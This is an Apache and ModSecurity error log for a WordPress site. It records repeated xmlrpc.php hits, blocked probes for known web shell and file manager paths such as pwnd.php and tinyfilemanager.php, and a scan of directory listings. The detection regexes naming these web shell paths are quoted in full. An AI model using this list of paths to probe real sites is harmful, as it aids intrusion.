[Sun Apr 12 22:33:01.412853 2026] [:error] [pid 25329:tid 25400] [client 5.42.124.21:60732] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adutHWdcIYsS8Iyaj13RKgAAAI4"]
[Sun Apr 12 22:43:47.412395 2026] [:error] [pid 25328:tid 25391] [client 195.26.243.16:44206] [client 195.26.243.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.26.243.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduvo8xUaQZxT-e0YsB5YAAAAFE"]
[Sun Apr 12 22:44:11.632443 2026] [:error] [pid 26567:tid 26593] [client 188.166.14.36:42602] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduvu3hRpg6ptWFyFx3YcAAAARg"]
[Sun Apr 12 22:46:38.819180 2026] [:error] [pid 60280:tid 60291] [client 5.9.109.189:49884] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduwTnBlLnDOYuIykkgGKQAAAck"]
[Sun Apr 12 22:47:14.911760 2026] [:error] [pid 25327:tid 25338] [client 157.230.249.241:41580] [client 157.230.249.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.249.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduwci6h2tZEVJo9JFIMKAAAAAI"]
[Sun Apr 12 22:51:43.331336 2026] [:error] [pid 26600:tid 26648] [client 45.159.231.196:46476] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduxf-1YwAZiXhQKLYptfwAAAZM"]
[Sun Apr 12 22:55:06.446138 2026] [:error] [pid 25327:tid 25344] [client 188.166.244.214:45512] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduySi6h2tZEVJo9JFIPPQAAAAg"]
[Sun Apr 12 22:57:21.046724 2026] [:error] [pid 25437:tid 25443] [client 121.170.188.114:37392] [client 121.170.188.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.170.188.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aduy0Xf97wYZje1ep_OKoQAAAMQ"]
[Sun Apr 12 23:06:00.349898 2026] [:error] [pid 26600:tid 26637] [client 168.119.6.33:60232] [client 168.119.6.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.119.6.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu02O1YwAZiXhQKLYpwKQAAAYg"]
[Sun Apr 12 23:06:48.628481 2026] [:error] [pid 25327:tid 25353] [client 82.223.101.71:57852] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu1CC6h2tZEVJo9JFIUmAAAABE"]
[Sun Apr 12 23:07:29.162592 2026] [:error] [pid 25328:tid 25408] [client 138.68.166.30:50394] [client 138.68.166.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.166.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu1McxUaQZxT-e0YsCAawAAAFg"]
[Sun Apr 12 23:13:40.526835 2026] [:error] [pid 25329:tid 25374] [client 185.199.223.27:60358] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu2pGdcIYsS8Iyaj13fQAAAAIA"]
[Sun Apr 12 23:17:49.469225 2026] [:error] [pid 26600:tid 26636] [client 188.165.95.76:50826] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.165.95.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu3ne1YwAZiXhQKLYpy3QAAAYc"]
[Sun Apr 12 23:21:23.299881 2026] [:error] [pid 26599:tid 26624] [client 149.202.76.92:37364] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu4c3G89LXoQbk_rwDzzwAAAVY"]
[Sun Apr 12 23:29:33.700691 2026] [autoindex:error] [pid 60280:tid 60296] [client 178.128.105.125:58062] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:30:47.489460 2026] [:error] [pid 26600:tid 26642] [client 35.201.138.245:51032] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu6p-1YwAZiXhQKLYp0mwAAAY0"]
[Sun Apr 12 23:32:10.742739 2026] [:error] [pid 60280:tid 60293] [client 51.210.113.223:47498] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu6-nBlLnDOYuIykkgfNwAAAcs"]
[Sun Apr 12 23:32:26.617189 2026] [:error] [pid 26600:tid 26643] [client 173.239.218.64:59279] [client 173.239.218.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adu7Cu1YwAZiXhQKLYp0-AAAAY4"]
[Sun Apr 12 23:32:30.839709 2026] [:error] [pid 25328:tid 25372] [client 173.239.218.60:38469] [client 173.239.218.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adu7DsxUaQZxT-e0YsCGwAAAAEc"]
[Sun Apr 12 23:32:37.368108 2026] [:error] [pid 60280:tid 60288] [client 170.249.163.210:59838] [client 170.249.163.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.249.163.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adu7FXBlLnDOYuIykkgfdQAAAcY"]
[Sun Apr 12 23:32:38.572379 2026] [:error] [pid 26567:tid 26582] [client 173.239.218.45:55373] [client 173.239.218.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adu7FnhRpg6ptWFyFx3fWgAAAQ0"]
[Sun Apr 12 23:32:50.352862 2026] [autoindex:error] [pid 25329:tid 25381] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:32:52.547881 2026] [autoindex:error] [pid 25329:tid 25374] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:32:59.801200 2026] [autoindex:error] [pid 25329:tid 25374] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:00.983860 2026] [autoindex:error] [pid 25329:tid 25395] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:04.330139 2026] [autoindex:error] [pid 25329:tid 25381] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:04.495918 2026] [autoindex:error] [pid 25329:tid 25414] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:04.676458 2026] [autoindex:error] [pid 25329:tid 25412] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:06.991169 2026] [autoindex:error] [pid 25329:tid 25395] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:07.156254 2026] [autoindex:error] [pid 25329:tid 25386] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:08.184376 2026] [autoindex:error] [pid 25329:tid 25397] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:08.345803 2026] [autoindex:error] [pid 25329:tid 25388] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:08.508355 2026] [autoindex:error] [pid 25329:tid 25411] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:09.841014 2026] [autoindex:error] [pid 25329:tid 25412] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:10.011281 2026] [autoindex:error] [pid 25329:tid 25409] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:10.173204 2026] [autoindex:error] [pid 25329:tid 25413] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:13.291142 2026] [autoindex:error] [pid 25329:tid 25393] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:13.451699 2026] [autoindex:error] [pid 25329:tid 25412] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:13.613195 2026] [autoindex:error] [pid 25329:tid 25384] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:13.776814 2026] [autoindex:error] [pid 25329:tid 25409] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:13.937383 2026] [autoindex:error] [pid 25329:tid 25400] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:14.098213 2026] [autoindex:error] [pid 25329:tid 25392] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:15.279965 2026] [autoindex:error] [pid 25329:tid 25374] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:15.442865 2026] [autoindex:error] [pid 25329:tid 25404] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:18.610717 2026] [autoindex:error] [pid 25329:tid 25412] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:20.803160 2026] [autoindex:error] [pid 25329:tid 25400] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:21.127348 2026] [autoindex:error] [pid 25329:tid 25402] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:24.360831 2026] [autoindex:error] [pid 25329:tid 25386] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:24.526811 2026] [autoindex:error] [pid 25329:tid 25382] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:29.837133 2026] [autoindex:error] [pid 25329:tid 25413] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:31.015959 2026] [autoindex:error] [pid 25329:tid 25414] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:32.167696 2026] [autoindex:error] [pid 25329:tid 25376] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:33.420152 2026] [autoindex:error] [pid 25329:tid 25415] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:33.581137 2026] [autoindex:error] [pid 25329:tid 25411] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:33.743703 2026] [autoindex:error] [pid 25329:tid 25378] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:33:35.982390 2026] [autoindex:error] [pid 25329:tid 25376] [client 173.239.218.34:23801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
